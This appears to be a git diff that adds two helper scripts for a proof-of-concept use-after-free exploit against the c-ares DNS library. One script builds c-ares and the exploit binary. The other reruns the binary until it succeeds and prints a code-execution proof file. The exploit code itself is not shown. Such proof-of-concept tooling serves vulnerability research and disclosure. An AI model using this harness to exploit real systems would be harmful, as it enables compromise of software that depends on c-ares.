diff --git a/c-ares-tcp-uaf-calc-poc/scripts/build_from_checkout.sh b/c-ares-tcp-uaf-calc-poc/scripts/build_from_checkout.sh
new file mode 100644
index 0000000..3b2ff44
--- /dev/null
+++ b/c-ares-tcp-uaf-calc-poc/scripts/build_from_checkout.sh
@@ -0,0 +1,32 @@
+#!/usr/bin/env bash
+set -euo pipefail
+
+if [ "$#" -lt 2 ]; then
+  echo "usage: $0 /path/to/c-ares /path/to/build-dir [output-binary]" >&2
+  exit 2
+fi
+
+srcdir=$1
+builddir=$2
+out=${3:-cares_tcp_uaf_calc_poc}
+jobs=${JOBS:-4}
+root=$(cd "$(dirname "$0")/.." && pwd)
+
+cmake -S "$srcdir" -B "$builddir" \
+  -DCARES_SHARED=OFF \
+  -DCARES_STATIC=ON \
+  -DCARES_BUILD_TESTS=OFF \
+  -DCARES_BUILD_TOOLS=OFF \
+  -DCMAKE_BUILD_TYPE=Debug
+
+cmake --build "$builddir" --target c-ares --parallel "$jobs"
+
+gcc -static -g -O0 -Wall -Wextra \
+  -I"$srcdir/include" \
+  -I"$builddir" \
+  "$root/poc/cares_tcp_uaf_calc_poc.c" \
+  "$builddir/lib/libcares.a" \
+  -pthread \
+  -o "$out"
+
+file "$out"
diff --git a/c-ares-tcp-uaf-calc-poc/scripts/run_until_hit.sh b/c-ares-tcp-uaf-calc-poc/scripts/run_until_hit.sh
new file mode 100644
index 0000000..61fcb59
--- /dev/null
+++ b/c-ares-tcp-uaf-calc-poc/scripts/run_until_hit.sh
@@ -0,0 +1,20 @@
+#!/usr/bin/env bash
+set -euo pipefail
+
+bin=${1:-./cares_tcp_uaf_calc_poc}
+tries=${TRIES:-25}
+
+rm -f /tmp/cares_rce_proof_*
+
+for i in $(seq 1 "$tries"); do
+  set +e
+  "$bin" controlcall
+  rc=$?
+  set -e
+  echo "run=$i rc=$rc"
+  if [ "$rc" -eq 77 ]; then
+    break
+  fi
+done
+
+cat /tmp/cares_rce_proof_latest 2>/dev/null || true